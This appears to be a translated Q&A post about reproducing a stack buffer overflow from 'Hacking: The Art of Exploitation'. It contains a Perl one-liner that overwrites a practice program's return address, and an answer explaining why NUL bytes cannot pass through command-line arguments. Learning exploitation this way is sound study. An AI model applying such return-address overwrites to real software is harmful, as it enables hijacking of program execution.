读"黑客 - 剥削的艺术"一书; 我跟随编写器,因为他通过溢出堆栈并更改函数的返回地址来更改执行流程.(具体来说,第135-136页)他设法用Perl脚本执行此操作,将返回地址作为命令行参数输入10次:
$ ./auth_overflow2 $(perl -e 'print "\xbf\x84\x04\x08"x10')
Run Code Online (Sandbox Code Playgroud)
0x080484bf
返回地址在哪里.
我正在尝试做同样的事情,但我的返回地址以0x00开头.将\ x08替换为\ x00,空字符将被省略,因此我要输入的地址在内存映射中移位了一个字节.我该如何解决这个问题?
命令行参数是以NUL结尾的字符串.因此,您无法传递包含NUL的字符串.它将被视为字符串的结尾.
$ perl -e'system("echo", "abc\x00def", "ghi\x00jkl");'
abc ghi
Run Code Online (Sandbox Code Playgroud)
知道了这一点,shell在构建参数时正在剥离NUL.
$ perl -e'printf "%v02X\n", $_ for @ARGV' "$( perl -e'print "\xbf\x84\x04\x08" x 5' )"
BF.84.04.08.BF.84.04.08.BF.84.04.08.BF.84.04.08.BF.84.04.08
$ perl -e'printf "%v02X\n", $_ for @ARGV' "$( perl -e'print "\xbf\x84\x04\x00" x 5' )"
BF.84.04.BF.84.04.BF.84.04.BF.84.04.BF.84.04
Run Code Online (Sandbox Code Playgroud)
auth_overflow2
应修改为采用转义形式的地址,例如十六进制的地址.